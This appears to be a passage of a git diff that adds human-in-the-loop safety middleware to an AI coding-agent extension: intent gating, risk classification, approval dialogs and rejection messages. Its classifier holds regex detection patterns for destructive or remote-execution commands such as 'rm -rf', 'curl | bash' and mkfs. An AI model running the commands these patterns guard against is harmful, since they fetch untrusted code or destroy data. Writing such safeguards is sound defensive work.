3. Build an XML block with constraints, scope, and criteria + * 4. Return the block as the tool result so the AI sees it in the next turn + * + * @see src/hooks/HookEngine.ts — orchestration entry point + * @see src/hooks/IntentContextLoader.ts — YAML parsing and context building + * @see TRP1 Challenge Week 1 — Phase 1: The Handshake + */ +import type OpenAI from "openai" + +const SELECT_ACTIVE_INTENT_DESCRIPTION = `Declare which business intent you are working on. You MUST call this tool before performing any mutating operations (write_to_file, apply_diff, execute_command, etc.). This loads the constraints, owned_scope, and acceptance_criteria for the selected intent from the project's .orchestration/active_intents.yaml file. + +Parameters: +- intent_id: (required) The unique identifier of the intent to activate (e.g., "INT-001"). Must match an entry in .orchestration/active_intents.yaml. + +Example: Selecting an intent before refactoring auth +{ "intent_id": "INT-001" }` + +const INTENT_ID_PARAMETER_DESCRIPTION = `The unique identifier of the business intent to activate (e.g., "INT-001"). Must match an id in .orchestration/active_intents.yaml.` + +export default { + type: "function", + function: { + name: "select_active_intent", + description: SELECT_ACTIVE_INTENT_DESCRIPTION, + strict: true, + parameters: { + type: "object", + properties: { + intent_id: { + type: "string", + description: INTENT_ID_PARAMETER_DESCRIPTION, + }, + }, + required: ["intent_id"], + additionalProperties: false, + }, + }, +} satisfies OpenAI.Chat.ChatCompletionTool diff --git a/src/core/task/Task.ts b/src/core/task/Task.ts index 6ba57e98ac3..7e86fe5bea9 100644 --- a/src/core/task/Task.ts +++ b/src/core/task/Task.ts @@ -128,6 +128,7 @@ import { import { processUserContentMentions } from "../mentions/processUserContentMentions" import { getMessagesSinceLastSummary, summarizeConversation, getEffectiveApiHistory } from "../condense" import { MessageQueueService } from "../message-queue/MessageQueueService" +import { HookEngine } from "../../hooks" import { AutoApprovalHandler, checkAutoApproval } from "../auto-approval" import { MessageManager } from "../message-manager" import { validateAndFixToolResultIds } from "./validateToolResultIds" @@ -335,6 +336,15 @@ export class Task extends EventEmitter implements TaskLike { // Task Bridge enableBridge: boolean + /** + * HookEngine — Phase 1 "Handshake" middleware. + * Intercepts every tool call to enforce intent-driven architecture: + * - Gatekeeper: blocks mutating tools unless an intent is active + * - IntentContextLoader: handles select_active_intent to inject context + * @see src/hooks/HookEngine.ts + */ + hookEngine: HookEngine + // Message Queue Service public readonly messageQueueService: MessageQueueService private messageQueueStateChangedHandler: (() => void) | undefined @@ -495,6 +505,7 @@ export class Task extends EventEmitter implements TaskLike { this.providerRef = new WeakRef(provider) this.globalStoragePath = provider.context.globalStorageUri.fsPath this.diffViewProvider = new DiffViewProvider(this.cwd, this) + this.hookEngine = new HookEngine(this.cwd) this.enableCheckpoints = enableCheckpoints this.checkpointTimeout = checkpointTimeout this.enableBridge = enableBridge diff --git a/src/hooks/AuthorizationGate.ts b/src/hooks/AuthorizationGate.ts new file mode 100644 index 00000000000..cf7ce590faf --- /dev/null +++ b/src/hooks/AuthorizationGate.ts @@ -0,0 +1,259 @@ +/** + * AuthorizationGate.ts — Phase 2: UI-Blocking Human-in-the-Loop Authorization + * + * Implements the HITL boundary for destructive and critical operations. + * When the CommandClassifier identifies a tool call as DESTRUCTIVE or CRITICAL, + * this module pauses the async execution loop and shows a native VS Code + * warning dialog requiring explicit human approval. + * + * The Promise chain is PAUSED INDEFINITELY until the user clicks Approve or Reject. + * This is the "impenetrable defense against runaway execution loops" described + * in the research paper. + * + * Features: + * - Native vscode.window.showWarningMessage modal + * - Risk tier displayed in the dialog + * - Matched critical pattern shown for CRITICAL commands + * - .intentignore support for bypassing checks on specific intents + * - Returns structured result for HookEngine to handle + * + * @see CommandClassifier.ts — provides the risk classification + * @see HookEngine.ts — orchestrates the authorization flow + * @see TRP1 Challenge Week 1, Phase 2: UI-Blocking Authorization + */ + +import * as vscode from "vscode" +import * as fs from "node:fs" +import * as path from "node:path" + +import { RiskTier, type ClassificationResult } from "./CommandClassifier" + +// ── Authorization Result ───────────────────────────────────────────────── + +export enum AuthorizationDecision { + /** User approved the operation */ + APPROVED = "APPROVED", + + /** User rejected the operation */ + REJECTED = "REJECTED", + + /** Operation was auto-approved (safe tier or .intentignore bypass) */ + AUTO_APPROVED = "AUTO_APPROVED", +} + +export interface AuthorizationResult { + decision: AuthorizationDecision + reason: string +} + +// ── .intentignore Loader ───────────────────────────────────────────────── + +/** + * The .intentignore file allows users to bypass HITL authorization for + * specific intents. This mirrors .gitignore semantics — if an intent ID + * is listed in .intentignore, its destructive operations are auto-approved. + * + * File format (.orchestration/.intentignore): + * # Comment lines start with # + * INT-001 # Bypass checks for this intent + * INT-003 # Draft intents might be safe to auto-approve + * + * Philosophy: A codebase is a collection of intents as much as it is a + * collection of organized code files. Some intents may be low-risk enough + * to not require manual approval for every write operation. + * + * @see TRP1 Challenge, Phase 2: .intentignore + * @see AISpec (https://github.com/cbora/aispec) — intent formalization + */ +class IntentIgnoreLoader { + private static readonly cache: Map> = new Map() + + /** + * Load the .intentignore file from the workspace .orchestration/ directory. + * Returns a set of intent IDs that should bypass authorization checks. + * + * @param cwd - Workspace root path + * @returns Set of bypassed intent IDs + */ + static load(cwd: string): Set { + // Check cache first + if (IntentIgnoreLoader.cache.has(cwd)) { + return IntentIgnoreLoader.cache.get(cwd)! + } + + const ignorePath = path.join(cwd, ".orchestration", ".intentignore") + const ignoredIntents = new Set() + + try { + if (fs.existsSync(ignorePath)) { + const content = fs.readFileSync(ignorePath, "utf-8") + const lines = content.split("\n") + + for (const line of lines) { + const trimmed = line.trim() + // Skip empty lines and comments + if (trimmed.length === 0 || trimmed.startsWith("#")) { + continue + } + ignoredIntents.add(trimmed) + } + + console.log( + `[IntentIgnore] Loaded ${ignoredIntents.size} bypassed intents: ${Array.from(ignoredIntents).join(", ")}`, + ) + } + } catch (error) { + console.warn(`[IntentIgnore] Failed to load .intentignore: ${error}`) + } + + IntentIgnoreLoader.cache.set(cwd, ignoredIntents) + return ignoredIntents + } + + /** + * Clear the cache (call when .intentignore is modified). + */ + static clearCache(): void { + IntentIgnoreLoader.cache.clear() + } + + /** + * Check if a specific intent is in the ignore list. + */ + static isIgnored(cwd: string, intentId: string): boolean { + const ignored = IntentIgnoreLoader.load(cwd) + return ignored.has(intentId) + } +} + +// ── Authorization Gate ─────────────────────────────────────────────────── + +export class AuthorizationGate { + /** + * Evaluate whether a tool call requires human authorization and, + * if so, pause the execution loop to show the approval dialog. + * + * Decision flow: + * 1. SAFE/META → auto-approve (no dialog) + * 2. Check .intentignore → auto-approve if intent is bypassed + * 3. CRITICAL → ALWAYS show warning dialog (never auto-approve) + * 4. DESTRUCTIVE → show warning dialog + * + * The Promise chain is PAUSED until the user responds to the dialog. + * This is by design — the agent cannot proceed without human consent. + * + * @param classification - The risk classification from CommandClassifier + * @param toolName - The tool being called + * @param params - Tool parameters (for display in the dialog) + * @param activeIntentId - The currently active intent ID + * @param cwd - Workspace root path + * @returns AuthorizationResult indicating Approved, Rejected, or AutoApproved + */ + static async evaluate( + classification: ClassificationResult, + toolName: string, + params: Record, + activeIntentId: string | null, + cwd: string, + ): Promise { + // 1. SAFE and META tiers — auto-approve without dialog + if (classification.tier === RiskTier.SAFE || classification.tier === RiskTier.META) { + return { + decision: AuthorizationDecision.AUTO_APPROVED, + reason: `Auto-approved: ${classification.reason}`, + } + } + + // 2. Check .intentignore bypass (except for CRITICAL commands) + if ( + classification.tier !== RiskTier.CRITICAL && + activeIntentId && + IntentIgnoreLoader.isIgnored(cwd, activeIntentId) + ) { + return { + decision: AuthorizationDecision.AUTO_APPROVED, + reason: `Auto-approved: Intent "${activeIntentId}" is listed in .intentignore.`, + } + } + + // 3. Show UI-blocking authorization dialog + return AuthorizationGate.showAuthorizationDialog(classification, toolName, params, activeIntentId) + } + + /** + * Show the VS Code warning modal that blocks the execution loop. + * + * The dialog displays: + * - Risk tier (DESTRUCTIVE or CRITICAL) + * - Tool name and relevant parameters + * - For CRITICAL: the specific dangerous pattern detected + * - Active intent context + * + * Uses vscode.window.showWarningMessage with modal: true, + * which pauses the Promise chain until the user responds. + */ + private static async showAuthorizationDialog( + classification: ClassificationResult, + toolName: string, + params: Record, + activeIntentId: string | null, + ): Promise { + // Build the warning message + const tierLabel = classification.tier === RiskTier.CRITICAL ? "⛔ CRITICAL" : "⚠️ DESTRUCTIVE" + const intentLabel = activeIntentId ? `Intent: ${activeIntentId}` : "No active intent" + + let message = `[Hook Engine — ${tierLabel}]\n\n` + message += `Tool: ${toolName}\n` + message += `${intentLabel}\n` + message += `Reason: ${classification.reason}\n` + + // Add specific details based on tool type + if (toolName === "execute_command" && params.command) { + message += `Command: ${typeof params.command === "string" ? params.command.substring(0, 200) : "unknown"}\n` + } else if (params.path || params.file_path) { + message += `File: ${String(params.path ?? params.file_path)}\n` + } + + if (classification.matchedPattern) { + message += `\n⛔ Critical pattern: ${classification.matchedPattern}` + } + + message += `\n\nApprove this operation?` + + // Show the modal dialog - BLOCKS until user responds + const approve = "✅ Approve" + const reject = "❌ Reject" + + const selection = await vscode.window.showWarningMessage( + message, + { + modal: true, + detail: `The AI agent is requesting permission to perform a ${classification.tier} operation.`, + }, + approve, + reject, + ) + + if (selection === approve) { + console.log(`[AuthorizationGate] APPROVED: ${toolName} (${classification.tier})`) + return { + decision: AuthorizationDecision.APPROVED, + reason: `User approved ${classification.tier} operation: ${toolName}`, + } + } + + // User clicked Reject or closed the dialog (treat both as rejection) + console.log(`[AuthorizationGate] REJECTED: ${toolName} (${classification.tier})`) + return { + decision: AuthorizationDecision.REJECTED, + reason: `User rejected ${classification.tier} operation: ${toolName}. ${classification.reason}`, + } + } + + /** + * Clear the .intentignore cache. Call this when the file may have changed. + */ + static clearIgnoreCache(): void { + IntentIgnoreLoader.clearCache() + } +} diff --git a/src/hooks/AutonomousRecovery.ts b/src/hooks/AutonomousRecovery.ts new file mode 100644 index 00000000000..b35069dc216 --- /dev/null +++ b/src/hooks/AutonomousRecovery.ts @@ -0,0 +1,228 @@ +/** + * AutonomousRecovery.ts — Phase 2: Self-Correction on Rejection + * + * When the AuthorizationGate rejects a destructive operation, the agent must + * NOT crash or enter an infinite retry loop. Instead, this module formats + * a standardized JSON tool-error and returns it as the tool_result so the + * AI model can: + * + * 1. Acknowledge the rejection + * 2. Analyze what constraint was violated + * 3. Propose a safe alternative approach + * + * The error format follows the tool_result convention used by Anthropic's + * tool_use protocol — the LLM receives it as a structured error and can + * reason about it. + * + * Recovery Flow: + * User Rejects → AutonomousRecovery.formatRejection() → + * JSON tool-error → appended to message history → + * LLM self-corrects → proposes alternative + * + * @see AuthorizationGate.ts — triggers rejection events + * @see HookEngine.ts — returns the formatted error as tool_result + * @see TRP1 Challenge Week 1, Phase 2: Autonomous Recovery + * @see Research Paper, Phase 2: Autonomous Recovery Loop + */ + +import { RiskTier, type ClassificationResult } from "./CommandClassifier" + +// ── Recovery Error Structure ───────────────────────────────────────────── + +/** + * Structured error returned to the AI when an operation is rejected. + * The AI model receives this in the tool_result and should: + * 1. Apologize for attempting the unauthorized operation + * 2. Analyze the rejection reason + * 3. Propose a safe alternative + */ +export interface RecoveryError { + /** Error type identifier for the AI to recognize */ + type: "AUTHORIZATION_REJECTED" | "SCOPE_VIOLATION" | "HOOK_ERROR" + + /** Human-readable error message */ + message: string + + /** The tool that was blocked */ + blockedTool: string + + /** The risk tier that triggered the block */ + riskTier: RiskTier + + /** Specific constraint or reason for the rejection */ + constraint: string + + /** Guidance for the AI on how to recover */ + recovery_guidance: string[] + + /** The active intent ID at time of rejection (for context) */ + activeIntentId: string | null + + /** Timestamp of the rejection event */ + timestamp: string +} + +// ── Autonomous Recovery ────────────────────────────────────────────────── + +export class AutonomousRecovery { + /** + * Format a rejection from the AuthorizationGate into a structured + * JSON tool-error that the AI model can reason about. + * + * The error is returned as a string (tool_result format) containing + * the JSON structure, wrapped in XML tags for clear parsing. + * + * @param toolName - The tool that was rejected + * @param classification - The risk classification result + * @param reason - The rejection reason from AuthorizationGate + * @param activeIntentId - The active intent at time of rejection + * @returns Formatted tool_result error string + */ + static formatRejection( + toolName: string, + classification: ClassificationResult, + reason: string, + activeIntentId: string | null, + ): string { + const error: RecoveryError = { + type: "AUTHORIZATION_REJECTED", + message: `The user REJECTED your "${toolName}" operation. You must NOT retry this exact operation.`, + blockedTool: toolName, + riskTier: classification.tier, + constraint: reason, + recovery_guidance: AutonomousRecovery.getRecoveryGuidance(toolName, classification), + activeIntentId, + timestamp: new Date().toISOString(), + } + + return AutonomousRecovery.formatAsToolResult(error) + } + + /** + * Format a scope violation error when the agent tries to write outside + * the active intent's owned_scope. + * + * @param toolName - The tool that was blocked + * @param targetPath - The file path the agent tried to write + * @param ownedScope - The intent's allowed file patterns + * @param activeIntentId - The active intent ID + * @returns Formatted tool_result error string + */ + static formatScopeViolation( + toolName: string, + targetPath: string, + ownedScope: string[], + activeIntentId: string | null, + ): string { + const error: RecoveryError = { + type: "SCOPE_VIOLATION", + message: + `Scope Violation: Intent "${activeIntentId}" is NOT authorized to modify "${targetPath}". ` + + `This file is outside the intent's owned_scope. Request scope expansion or choose a different approach.`, + blockedTool: toolName, + riskTier: RiskTier.DESTRUCTIVE, + constraint: `File "${targetPath}" does not match any pattern in owned_scope: [${ownedScope.join(", ")}]`, + recovery_guidance: [ + "DO NOT retry writing to this file path.", + `You may only modify files matching these patterns: ${ownedScope.join(", ")}`, + "If you need to modify this file, ask the user to expand the intent's owned_scope.", + "Alternatively, ask the user to select a different intent that covers this file.", + "Consider if your task can be completed within the current scope.", + ], + activeIntentId, + timestamp: new Date().toISOString(), + } + + return AutonomousRecovery.formatAsToolResult(error) + } + + /** + * Format a generic hook error for unexpected failures. + */ + static formatHookError(toolName: string, errorMessage: string, activeIntentId: string | null): string { + const error: RecoveryError = { + type: "HOOK_ERROR", + message: `Hook system error while processing "${toolName}": ${errorMessage}`, + blockedTool: toolName, + riskTier: RiskTier.DESTRUCTIVE, + constraint: errorMessage, + recovery_guidance: [ + "An internal error occurred in the hook system.", + "Try a different approach or ask the user for guidance.", + "If this persists, the hook system may need debugging.", + ], + activeIntentId, + timestamp: new Date().toISOString(), + } + + return AutonomousRecovery.formatAsToolResult(error) + } + + // ── Private Helpers ────────────────────────────────────────────────── + + /** + * Generate context-specific recovery guidance based on the tool + * and its risk classification. + */ + private static getRecoveryGuidance(toolName: string, classification: ClassificationResult): string[] { + const base = [ + "Apologize for attempting the unauthorized operation.", + "Analyze WHY the user rejected this action.", + "DO NOT retry the same operation.", + ] + + if (classification.tier === RiskTier.CRITICAL) { + return [ + ...base, + `The command was classified as CRITICAL: ${classification.matchedPattern ?? "unknown pattern"}.`, + "Propose a SAFE alternative that achieves the same goal.", + "If using execute_command, consider using a read-only variant.", + "Ask the user what approach they would prefer instead.", + ] + } + + if (toolName === "execute_command") { + return [ + ...base, + "Consider if a read-only command would suffice.", + "Break the command into smaller, safer steps.", + "Ask the user to manually run the dangerous part.", + ] + } + + if (toolName === "write_to_file" || toolName === "apply_diff" || toolName === "edit") { + return [ + ...base, + "Review the changes you proposed — were they too invasive?", + "Consider making smaller, incremental changes.", + "Ask the user what specific changes they would approve.", + ] + } + + return [ + ...base, + "Propose an alternative approach that the user might approve.", + "Consider using read-only tools to gather more information first.", + ] + } + + /** + * Format a RecoveryError as a tool_result string. + * Uses XML wrapping for reliable LLM parsing + JSON for structure. + */ + private static formatAsToolResult(error: RecoveryError): string { + const jsonStr = JSON.stringify(error, null, 2) + + return ` +${jsonStr} + + +[Hook Engine — ${error.type}] +${error.message} + +Recovery guidance: +${error.recovery_guidance.map((g, i) => ` ${i + 1}. ${g}`).join("\n")} + +You MUST acknowledge this error and propose a safe alternative. Do NOT retry the blocked operation.` + } +} diff --git a/src/hooks/CommandClassifier.ts b/src/hooks/CommandClassifier.ts new file mode 100644 index 00000000000..8fdc99353ed --- /dev/null +++ b/src/hooks/CommandClassifier.ts @@ -0,0 +1,227 @@ +/** + * CommandClassifier.ts — Phase 2: Command Risk Classification + * + * Inspects every PreToolUse JSON payload and classifies tool calls into + * risk tiers: + * + * - SAFE: Read-only operations (read_file, list_files, search_files) + * - DESTRUCTIVE: Write/delete operations (write_to_file, apply_diff, etc.) + * - CRITICAL: High-risk terminal commands (rm -rf, git push --force, etc.) + * - META: Conversation control (ask_followup_question, attempt_completion) + * + * The classifier uses: + * 1. Static tool-name mapping for known tools + * 2. Regex pattern matching for execute_command payloads + * 3. Configurable patterns for extensibility + * + * @see HookEngine.ts — consumes classification results + * @see TRP1 Challenge Week 1, Phase 2: Command Classification + * @see Research Paper, Phase 2: Command Classification + */ + +// ── Risk Tier Enum ─────────────────────────────────────────────────────── + +export enum RiskTier { + /** Read-only operations — no filesystem mutation */ + SAFE = "SAFE", + + /** Write/modify operations — require intent but auto-approvable */ + DESTRUCTIVE = "DESTRUCTIVE", + + /** High-risk terminal commands — always require human approval */ + CRITICAL = "CRITICAL", + + /** Conversation/meta tools — always allowed */ + META = "META", +} + +// ── Classification Result ──────────────────────────────────────────────── + +export interface ClassificationResult { + /** The assigned risk tier */ + tier: RiskTier + + /** Human-readable reason for classification */ + reason: string + + /** The specific pattern that matched (for CRITICAL commands) */ + matchedPattern?: string +} + +// ── Critical Command Patterns ──────────────────────────────────────────── + +/** + * Regex patterns that identify high-risk terminal commands. + * These ALWAYS require human authorization regardless of auto-approval settings. + * + * Each pattern includes a human-readable label for the warning dialog. + */ +const CRITICAL_COMMAND_PATTERNS: Array<{ pattern: RegExp; label: string }> = [ + // Destructive filesystem operations + { pattern: /\brm\s+(-[a-z]*r[a-z]*f|--recursive|--force)\b/i, label: "Recursive/forced file deletion (rm -rf)" }, + { pattern: /\brm\s+-[a-z]*f/i, label: "Forced file deletion (rm -f)" }, + { pattern: /\brmdir\b/i, label: "Directory removal (rmdir)" }, + { pattern: /\bdel\s+\/s/i, label: "Recursive deletion (Windows del /s)" }, + { pattern: /\brd\s+\/s/i, label: "Recursive directory removal (Windows rd /s)" }, + + // Git push/force operations + { pattern: /\bgit\s+push\s+.*--force\b/i, label: "Force push (git push --force)" }, + { pattern: /\bgit\s+push\s+-f\b/i, label: "Force push (git push -f)" }, + { pattern: /\bgit\s+reset\s+--hard\b/i, label: "Hard reset (git reset --hard)" }, + { pattern: /\bgit\s+clean\s+-[a-z]*f/i, label: "Git clean (removes untracked files)" }, + { pattern: /\bgit\s+checkout\s+--\s+\./i, label: "Discard all changes (git checkout -- .)" }, + + // Dangerous system operations + { pattern: /\bchmod\s+777\b/i, label: "World-writable permissions (chmod 777)" }, + { pattern: /\bchown\s+-R\b/i, label: "Recursive ownership change (chown -R)" }, + { pattern: /\bcurl\s+.*\|\s*(bash|sh)\b/i, label: "Pipe remote script to shell (curl | bash)" }, + { pattern: /\bwget\s+.*\|\s*(bash|sh)\b/i, label: "Pipe remote script to shell (wget | bash)" }, + { pattern: /\beval\s*\(/i, label: "Dynamic code execution (eval)" }, + + // Database destructive operations + { pattern: /\bDROP\s+(TABLE|DATABASE|SCHEMA)\b/i, label: "Database DROP operation" }, + { pattern: /\bTRUNCATE\s+TABLE\b/i, label: "Database TRUNCATE operation" }, + { pattern: /\bDELETE\s+FROM\b(?!.*\bWHERE\b)/i, label: "DELETE without WHERE clause" }, + + // Package/dependency operations + { pattern: /\bnpm\s+publish\b/i, label: "Publish package (npm publish)" }, + { pattern: /\bnpx?\s+.*--yes\b/i, label: "Auto-confirm npx execution" }, + + // Environment/config destruction + { pattern: /\b>\s*\/dev\/null\b/i, label: "Redirect to /dev/null" }, + { pattern: /\bformat\s+[a-z]:\b/i, label: "Format drive (Windows)" }, + { pattern: /\bmkfs\b/i, label: "Format filesystem (mkfs)" }, +] + +// ── Static Tool Classification Map ─────────────────────────────────────── + +/** Tools classified as SAFE (read-only) */ +const SAFE_TOOLS: ReadonlySet = new Set([ + "read_file", + "list_files", + "search_files", + "codebase_search", + "read_command_output", +]) + +/** Tools classified as DESTRUCTIVE (write/modify operations) */ +const DESTRUCTIVE_TOOLS: ReadonlySet = new Set([ + "write_to_file", + "apply_diff", + "edit", + "search_and_replace", + "search_replace", + "edit_file", + "apply_patch", + "generate_image", +]) + +/** Tools classified as META (conversation control) */ +const META_TOOLS: ReadonlySet = new Set([ + "ask_followup_question", + "attempt_completion", + "switch_mode", + "new_task", + "update_todo_list", + "run_slash_command", + "skill", + "select_active_intent", +]) + +// ── Classifier ─────────────────────────────────────────────────────────── + +export class CommandClassifier { + /** + * Classify a tool call into a risk tier. + * + * Classification logic: + * 1. Check META tools first (always allowed) + * 2. Check SAFE tools (read-only) + * 3. For execute_command: scan command string against CRITICAL patterns + * 4. Check DESTRUCTIVE tools (write operations) + * 5. Default: treat unknown tools as DESTRUCTIVE (fail-safe) + * + * @param toolName - The canonical name of the tool + * @param params - The tool parameters (needed for execute_command inspection) + * @returns ClassificationResult with tier, reason, and optional matched pattern + */ + static classify(toolName: string, params: Record): ClassificationResult { + // 1. META tools — always allowed + if (META_TOOLS.has(toolName)) { + return { + tier: RiskTier.META, + reason: `Tool "${toolName}" is a conversation/meta operation.`, + } + } + + // 2. SAFE tools — read-only + if (SAFE_TOOLS.has(toolName)) { + return { + tier: RiskTier.SAFE, + reason: `Tool "${toolName}" is a read-only operation.`, + } + } + + // 3. execute_command — inspect the command string for critical patterns + if (toolName === "execute_command") { + const command = (params.command as string) ?? "" + return CommandClassifier.classifyCommand(command) + } + + // 4. DESTRUCTIVE tools — file write/modify + if (DESTRUCTIVE_TOOLS.has(toolName)) { + return { + tier: RiskTier.DESTRUCTIVE, + reason: `Tool "${toolName}" modifies the filesystem.`, + } + } + + // 5. MCP tools — treat as DESTRUCTIVE by default (principle of least privilege) + if (toolName.startsWith("mcp_") || toolName === "use_mcp_tool") { + return { + tier: RiskTier.DESTRUCTIVE, + reason: `MCP tool "${toolName}" — classified as destructive by default.`, + } + } + + // 6. Unknown tools — fail-safe: treat as DESTRUCTIVE + return { + tier: RiskTier.DESTRUCTIVE, + reason: `Unknown tool "${toolName}" — classified as destructive by default (fail-safe).`, + } + } + + /** + * Inspect a shell command string against the critical command patterns. + * Returns CRITICAL if any pattern matches, otherwise DESTRUCTIVE + * (since execute_command is inherently a mutating operation). + * + * @param command - The shell command string to inspect + * @returns ClassificationResult + */ + private static classifyCommand(command: string): ClassificationResult { + for (const { pattern, label } of CRITICAL_COMMAND_PATTERNS) { + if (pattern.test(command)) { + return { + tier: RiskTier.CRITICAL, + reason: `Terminal command matches critical pattern: ${label}`, + matchedPattern: label, + } + } + } + + // execute_command is always at least DESTRUCTIVE + return { + tier: RiskTier.DESTRUCTIVE, + reason: "Terminal command execution — no critical patterns detected.", + } + } + + /** + * Quick check: does this tool name represent a file-writing operation? + * Used by scope enforcement to determine if path checking is needed. + */ + static isFileWriteOperation(toolName: string): boolean { + return DESTRUCTIVE_TOOLS.has(toolName) + } +} diff --git a/src/hooks/HookEngine.ts b/src/hooks/HookEngine.ts new file mode 100644 index 00000000000..ea9d24e8d07 --- /dev/null +++ b/src/hooks/HookEngine.ts @@ -0,0 +1,353 @@ +/** + * HookEngine.ts — Central Middleware Orchestrator for Intent-Driven Architecture + * + * This module acts as the strict middleware boundary between the AI agent's tool + * execution requests and the actual tool handlers. It implements a composable + * hook pipeline that intercepts every tool call at two lifecycle phases: + * + * 1. PreToolUse — Before the tool executes (validation, context injection, + * command classification, HITL authorization, scope enforcement) + * 2. PostToolUse — After the tool executes (auto-format, lint, tracing) + * + * Architecture (Phase 2): + * ┌────────────────┐ ┌──────────────────────────────────┐ ┌──────────────┐ + * │ AI Model │────▷│ HookEngine — PreToolUse │────▷│ Tool Handler │ + * │ (tool_use) │ │ 1. Gatekeeper (intent check) │ │ .handle() │ + * └────────────────┘ │ 2. IntentContextLoader │ └──────────────┘ + * │ 3. CommandClassifier │ │ + * │ 4. ScopeEnforcer │ ▼ + * │ 5. AuthorizationGate (HITL) │ ┌──────────────┐ + * └──────────────────────────────────┘ │ PostToolUse │ + * │ 1. Prettier │ + * ┌────────────────┐ │ 2. ESLint │ + * │ On Rejection: │ └──────────────┘ + * │ Autonomous │ + * │ Recovery │ + * └────────────────┘ + * + * Design Principles: + * - Composable: Hooks are registered as ordered arrays; new hooks can be added + * without modifying existing ones. + * - Non-intrusive: The engine wraps existing tool execution — it does not replace + * or patch the tool handlers themselves. + * - Fail-safe: If a hook throws, the error is captured and returned as a + * tool_result error, preventing the extension from crashing. + * + * Phase 2 Additions: + * - Command Classification (Safe / Destructive / Critical / Meta) + * - UI-Blocking Authorization via vscode.window.showWarningMessage + * - Autonomous Recovery on rejection (structured JSON tool-error) + * - Scope Enforcement (write path vs. owned_scope validation) + * - Post-Edit Automation (Prettier + ESLint on modified files) + * - .intentignore support for bypassing authorization on select intents + * + * @see IntentContextLoader.ts — Pre-hook for loading intent context + * @see PreToolHook.ts — Gatekeeper pre-hook for intent validation + * @see CommandClassifier.ts — Risk tier classification + * @see AuthorizationGate.ts — HITL modal dialog + * @see AutonomousRecovery.ts — Structured rejection errors + * @see ScopeEnforcer.ts — Owned scope validation + * @see PostToolHook.ts — Post-edit formatting/linting + * @see TRP1 Challenge Week 1, Phase 1 & Phase 2 + */ + +import * as fs from "node:fs" +import * as path from "node:path" +import { parse as parseYaml } from "yaml" + +import { IntentContextLoader } from "./IntentContextLoader" +import { GatekeeperHook } from "./PreToolHook" +import { CommandClassifier, RiskTier } from "./CommandClassifier" +import type { ClassificationResult } from "./CommandClassifier" +import { AuthorizationGate, AuthorizationDecision } from "./AuthorizationGate" +import { AutonomousRecovery } from "./AutonomousRecovery" +import { ScopeEnforcer } from "./ScopeEnforcer" +import { PostToolHook } from "./PostToolHook" +import type { HookContext, PreHookResult, IntentEntry, ActiveIntentsFile } from "./types" + +/** + * The HookEngine manages all registered pre-hooks and post-hooks, + * executing them in order for every tool call. + * + * Phase 1: Gatekeeper + IntentContextLoader + * Phase 2: CommandClassifier + AuthorizationGate + ScopeEnforcer + PostToolHook + */ +export class HookEngine { + /** Ordered list of pre-tool execution hooks (Phase 1) */ + private readonly preHooks: Array<(ctx: HookContext) => Promise> + + /** The currently active intent ID for this session (set by select_active_intent) */ + private _activeIntentId: string | null = null + + /** Cached intent context XML block (populated after successful select_active_intent) */ + private _intentContextXml: string | null = null + + /** Cached active intent entry (populated after successful select_active_intent) */ + private _activeIntent: IntentEntry | null = null + + /** Workspace root path (cwd) */ + private readonly cwd: string + + constructor(cwd: string) { + this.cwd = cwd + + // Register Phase 1 pre-hooks in priority order: + // 1. Gatekeeper — blocks all mutating tools unless an intent is active + // 2. IntentContextLoader — handles select_active_intent to load context + this.preHooks = [(ctx) => GatekeeperHook.execute(ctx, this), (ctx) => IntentContextLoader.execute(ctx, this)] + } + + /** + * Execute the full pre-tool middleware pipeline. + * + * Pipeline order (Phase 1 + Phase 2): + * 1. Phase 1 pre-hooks (Gatekeeper → IntentContextLoader) + * 2. Phase 2 security boundary (classify → scope → authorize) + * + * @param toolName - The canonical name of the tool being called + * @param params - The tool parameters as provided by the AI + * @returns PreHookResult indicating whether execution should proceed + */ + async runPreHooks(toolName: string, params: Record): Promise { + const context: HookContext = { + toolName, + params, + cwd: this.cwd, + activeIntentId: this._activeIntentId, + } + + // ── Phase 1 Pre-Hooks ──────────────────────────────────────────── + const phase1Result = await this.runPhase1Hooks(context) + if (phase1Result.action !== "allow") { + return phase1Result + } + + // ── Phase 2: Security Boundary ─────────────────────────────────── + return this.runPhase2SecurityBoundary(toolName, params) + } + + /** + * Run Phase 1 pre-hooks (Gatekeeper + IntentContextLoader). + */ + private async runPhase1Hooks(context: HookContext): Promise { + for (const hook of this.preHooks) { + try { + const result = await hook(context) + if (result.action === "block" || result.action === "inject") { + return result + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : "Unknown hook error" + console.error(`[HookEngine] Pre-hook error: ${errorMessage}`) + return { + action: "block", + toolResult: AutonomousRecovery.formatHookError( + context.toolName, + errorMessage, + this._activeIntentId, + ), + } + } + } + return { action: "allow" } + } + + /** + * Run Phase 2 security boundary: classification → scope → authorization. + */ + private async runPhase2SecurityBoundary(toolName: string, params: Record): Promise { + // Command Classification + const classification = CommandClassifier.classify(toolName, params) + console.log(`[HookEngine] Classification: ${toolName} → ${classification.tier} (${classification.reason})`) + + // META and SAFE tools pass through without further checks + if (classification.tier === RiskTier.META || classification.tier === RiskTier.SAFE) { + return { action: "allow" } + } + + // Scope Enforcement (file-write tools only) + const scopeResult = this.enforceScopeIfNeeded(toolName, params) + if (scopeResult) { + return scopeResult + } + + // UI-Blocking Authorization + return this.runAuthorization(toolName, params, classification) + } + + /** + * Check scope enforcement for file-write operations. + * Returns a block result if scope is violated, null otherwise. + */ + private enforceScopeIfNeeded(toolName: string, params: Record): PreHookResult | null { + if (!CommandClassifier.isFileWriteOperation(toolName) || !this._activeIntent) { + return null + } + + const targetPath = ScopeEnforcer.extractTargetPath(toolName, params) + if (!targetPath) { + return null + } + + const scopeCheck = ScopeEnforcer.check(targetPath, this._activeIntent.owned_scope, this.cwd) + if (scopeCheck.allowed) { + console.log(`[HookEngine] Scope check passed: ${scopeCheck.reason}`) + return null + } + + console.warn(`[HookEngine] SCOPE VIOLATION: ${scopeCheck.reason}`) + return { + action: "block", + toolResult: AutonomousRecovery.formatScopeViolation( + toolName, + targetPath, + this._activeIntent.owned_scope, + this._activeIntentId, + ), + } + } + + /** + * Run UI-blocking authorization and handle rejection with autonomous recovery. + */ + private async runAuthorization( + toolName: string, + params: Record, + classification: ClassificationResult, + ): Promise { + try { + const authResult = await AuthorizationGate.evaluate( + classification, + toolName, + params, + this._activeIntentId, + this.cwd, + ) + + if (authResult.decision === AuthorizationDecision.REJECTED) { + console.warn(`[HookEngine] REJECTED by user: ${toolName}`) + return { + action: "block", + toolResult: AutonomousRecovery.formatRejection( + toolName, + classification, + authResult.reason, + 